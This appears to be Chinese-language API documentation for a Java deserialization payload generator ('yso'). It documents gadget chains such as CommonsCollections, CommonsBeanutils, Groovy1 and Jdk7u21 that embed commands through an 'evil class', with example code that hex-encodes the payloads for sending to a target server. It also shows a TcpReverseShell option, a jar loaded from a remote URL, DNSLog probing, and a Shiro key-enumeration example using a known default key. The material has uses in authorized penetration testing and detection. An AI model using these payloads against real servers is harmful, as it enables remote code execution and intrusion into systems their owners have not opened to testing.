for _, gadget := range yso.GetAllTemplatesGadget() { domain := "xxx.dnslog" // dnslog 地址 javaObj, err := gadget(yso.useDNSLogEvilClass(domain)) if javaObj == nil || err != nil { continue } objBytes, err := yso.ToBytes(javaObj) if err != nil { continue } // 发送 objBytes }
#
定义GetAllTemplatesGadget() []TemplatesGadget
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | []TemplatesGadget |
#
GetBeanShell1JavaObject#
详细描述GetBeanShell1JavaObject 基于BeanShell1 序列化模板生成并返回一个Java对象。
它首先解析预定义的BeanShell1序列化模板,然后在解析出的第一个Java对象中替换预设的占位符为传入的命令字符串。
cmd:要传入Java对象的命令字符串。
返回:成功时返回修改后的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, err := yso.GetBeanShell1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetBeanShell1JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetClick1JavaObject#
详细描述GetClick1JavaObject 基于Click1 序列化模板生成并返回一个Java对象。
用户可以通过可变参数options
提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数允许用户定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetClick1JavaObject(
yso.useRuntimeExecEvilClass(command), yso.obfuscationClassConstantPool(), yso.evilClassName(className), )
#
定义GetClick1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsBeanutils183NOCCJavaObject#
详细描述GetCommonsBeanutils183NOCCJavaObject 基于Commons Beanutils 1.8.3 序列化模板生成并返回一个Java对象。
去除了对 commons-collections:3.1 的依赖。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils183NOCCJavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsBeanutils183NOCCJavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsBeanutils192NOCCJavaObject#
详细描述GetCommonsBeanutils192NOCCJavaObject 基于Commons Beanutils 1.9.2 序列化模板生成并返回一个Java对象。
去除了对 commons-collections:3.1 的依赖。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsBeanutils192NOCCJavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsBeanutils1JavaObject#
详细描述GetCommonsBeanutils1JavaObject 基于Commons Beanutils 1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsBeanutils1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections1JavaObject#
详细描述GetCommonsCollections1JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, err := yso.GetCommonsCollections1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollections1JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections2JavaObject#
详细描述GetCommonsCollections2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections2JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollections2JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections3JavaObject#
详细描述GetCommonsCollections3JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections3JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollections3JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections4JavaObject#
详细描述GetCommonsCollections4JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections4JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollections4JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections5JavaObject#
详细描述GetCommonsCollections5JavaObject 基于Commons Collections 2 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections5JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollections5JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections6JavaObject#
详细描述GetCommonsCollections6JavaObject 基于Commons Collections 6 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections6JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollections6JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections7JavaObject#
详细描述GetCommonsCollections7JavaObject 基于Commons Collections 7 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections7JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollections7JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections8JavaObject#
详细描述GetCommonsCollections8JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections8JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollections8JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollectionsK1JavaObject#
详细描述GetCommonsCollectionsK1JavaObject 基于Commons Collections <=3.2.1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollectionsK1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollectionsK1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollectionsK2JavaObject#
详细描述GetCommonsCollectionsK2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollectionsK2JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollectionsK2JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollectionsK3JavaObject#
详细描述GetCommonsCollectionsK3JavaObject 基于Commons Collections K3 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollectionsK3JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollectionsK3JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollectionsK4JavaObject#
详细描述GetCommonsCollectionsK4JavaObject 基于Commons Collections K4 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollectionsK4JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollectionsK4JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetFindGadgetByDNSJavaObject#
详细描述GetFindGadgetByDNSJavaObject 通过 DNSLOG 探测 CLass Name,进而探测 Gadget。
使用预定义的FindGadgetByDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。
url:要在生成的Java对象中设置的URL字符串。
返回:成功时返回构造好的Java对象及nil错误,失败时返回nil及相应错误。
Example:
url, token, _ = risk.NewDNSLogDomain()javaObject, _ = yso.GetFindGadgetByDNSJavaObject(url)gadgetBytes,_ = yso.ToBytes(javaObject)使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器res,err = risk.CheckDNSLogByToken(token)
if err { //dnslog查询失败 } else { if len(res) > 0{ // dnslog查询成功 } }
#
定义GetFindGadgetByDNSJavaObject(url string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
url | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetGadget#
详细描述GenerateGadget this is a highly flexible function that can generate a Java object by three different ways:
Generate a Java object that have no any params.
Example: GenerateGadget("CommonsCollections1")
Generate a Java object that have one param and implement by TemplateImpl, the first param is the name of the gadget, the second param is the class name, the third param is the class param. Example: GenerateGadget("CommonsCollections2", "Sleep", "1000")
Generate a Java object that have multiple params and implement by TemplateImpl, the first param is the name of the gadget, the second param is the class name, the third param is the class param map. Example: GenerateGadget("CommonsCollections2", "TcpReverseShell", map[string]string{"host": "127.0.0.1","port":"8080"})
Generate a Java object that have one param and implement by TransformChain, the first param is the name of the gadget, the second param is the transform chain name, the third param is the param. Example: GenerateGadget("CommonsCollections1", "dnslog", "xxx.xx.com")
Generate a Java object that have multiple params and implement by TransformChain, the first param is the name of the gadget, the second param is the transform chain name, the third param is the param map. Example: GenerateGadget("CommonsCollections1", "loadjar", map[string]string{"url": "xxx.com", "name": "exp"})
Generate a Java object that implement by TemplateImpl. Example: GenerateGadget("CommonsCollections2", useRuntimeExecEvilClass("whoami"))
#
定义GetGadget(name string, opts ...any) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
name | string | |
opts | ...any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetGadgetNameByFun#
详细描述#
定义GetGadgetNameByFun(i any) (string, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | string | |
r2 | error |
#
GetGroovy1JavaObject#
详细描述GetGroovy1JavaObject 基于Groovy1 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetGroovy1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetGroovy1JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJBossInterceptors1JavaObject#
详细描述GetJBossInterceptors1JavaObject 基于JBossInterceptors1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJBossInterceptors1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJBossInterceptors1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJSON1JavaObject#
详细描述GetJSON1JavaObject 基于JSON1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJSON1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJSON1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJavaObjectFromBytes#
详细描述GetJavaObjectFromBytes 从字节数组中解析并返回第一个Java对象。
此函数使用ParseJavaSerialized方法来解析提供的字节序列,
并期望至少能够解析出一个有效的Java对象。如果解析失败或者结果为空,
函数将返回错误。如果解析成功,它将返回解析出的第一个Java对象。
byt:要解析的字节数组。
返回:成功时返回第一个Java对象及nil错误,失败时返回nil及相应错误。
Example:
raw := "rO0..." // base64 Java serialized objectbytes = codec.DecodeBase64(raw)~ // base64解码javaObject, err := yso.GetJavaObjectFromBytes(bytes) // 从字节中解析Java对象
#
定义GetJavaObjectFromBytes(byt []byte) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
byt | []byte |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJavassistWeld1JavaObject#
详细描述GetJavassistWeld1JavaObject 基于JavassistWeld1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJavassistWeld1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJavassistWeld1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJdk7u21JavaObject#
详细描述GetJdk7u21JavaObject 基于Jdk7u21 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJdk7u21JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJdk7u21JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJdk8u20JavaObject#
详细描述GetJdk8u20JavaObject 基于Jdk8u20 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJdk8u20JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJdk8u20JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetSimplePrincipalCollectionJavaObject#
详细描述GetSimplePrincipalCollectionJavaObject 基于SimplePrincipalCollection 序列化模板生成并返回一个Java对象。
主要用于 Shiro 漏洞检测时判断 rememberMe cookie 的个数。
使用一个空的 SimplePrincipalCollection作为 payload,序列化后使用待检测的秘钥进行加密并发送,秘钥正确和错误的响应表现是不一样的,可以使用这个方法来可靠的枚举 Shiro 当前使用的秘钥。
Example:
javaObject, _ = yso.GetSimplePrincipalCollectionJavaObject()classBytes,_ = yso.ToBytes(javaObject)data = codec.PKCS5Padding(classBytes, 16)keyDecoded,err = codec.DecodeBase64("kPH+bIxk5D2deZiIxcaaaA==")iv = []byte(ramdstr(16))cipherText ,_ = codec.AESCBCEncrypt(keyDecoded, data, iv)payload = codec.EncodeBase64(append(iv, cipherText...))发送 payload
#
定义GetSimplePrincipalCollectionJavaObject() (*JavaObject, error)
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetURLDNSJavaObject#
详细描述GetURLDNSJavaObject 利用Java URL类的特性,生成一个在反序列化时会尝试对提供的URL执行DNS查询的Java对象。
这个函数首先使用预定义的URLDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。
url:要在生成的Java对象中设置的URL字符串。
返回:成功时返回构造好的Java对象及nil错误,失败时返回nil及相应错误。
Example:
url, token, _ = risk.NewDNSLogDomain()javaObject, _ = yso.GetURLDNSJavaObject(url)gadgetBytes,_ = yso.ToBytes(javaObject)使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器res,err = risk.CheckDNSLogByToken(token)
if err { //dnslog查询失败 } else { if len(res) > 0{ // dnslog查询成功 } }
#
定义GetURLDNSJavaObject(url string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
url | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
LoadClassFromBCEL#
详细描述LoadClassFromBCEL 将BCEL(Byte Code Engineering Library)格式的Java类数据转换为字节数组,
并从这些字节中加载并返回一个javaclassparser.ClassObject对象。
这个函数首先使用javaclassparser.Bcel2bytes转换BCEL格式的数据,然后利用GenerateClassObjectFromBytes生成类对象。
可通过可变参数options
来定制类对象的特定属性或行为。
data:BCEL格式的Java类数据。
options:用于配置类对象的可变参数函数列表。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
bcelData := "$$BECL$$..." // 假设的BCEL数据classObject, err := LoadClassFromBCEL(bcelData, option1, option2) // 从BCEL数据加载并配置类对象
#
定义LoadClassFromBCEL(data string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
data | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
LoadClassFromBase64#
详细描述LoadClassFromBase64 从base64编码的字符串中加载并返回一个javaclassparser.ClassObject对象。
这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options
来配置生成的类对象。
这些参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。
base64:要从中加载类对象的base64编码字符串。
options:用于配置类对象的可变参数函数列表。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
classObject, _ := yso.LoadClassFromBytes("yv66vg...") // 从字节中加载并配置类对象
#
定义LoadClassFromBase64(base64 string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
base64 | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
LoadClassFromBytes#
详细描述LoadClassFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。
这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options
来配置生成的类对象。
这些参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。
bytes:要从中加载类对象的字节数组。
options:用于配置类对象的可变参数函数列表。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
bytesCode,_ =codec.DecodeBase64("yv66vg...")classObject, _ := yso.LoadClassFromBytes(bytesCode) // 从字节中加载并配置类对象
#
定义LoadClassFromBytes(bytes []byte, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
bytes | []byte | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
ToBcel#
详细描述#
定义ToBcel(i any) (string, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | string | |
r2 | error |
#
ToBytes#
详细描述ToBytes 将 Java 或反序列化对象转换为字节码
Example:
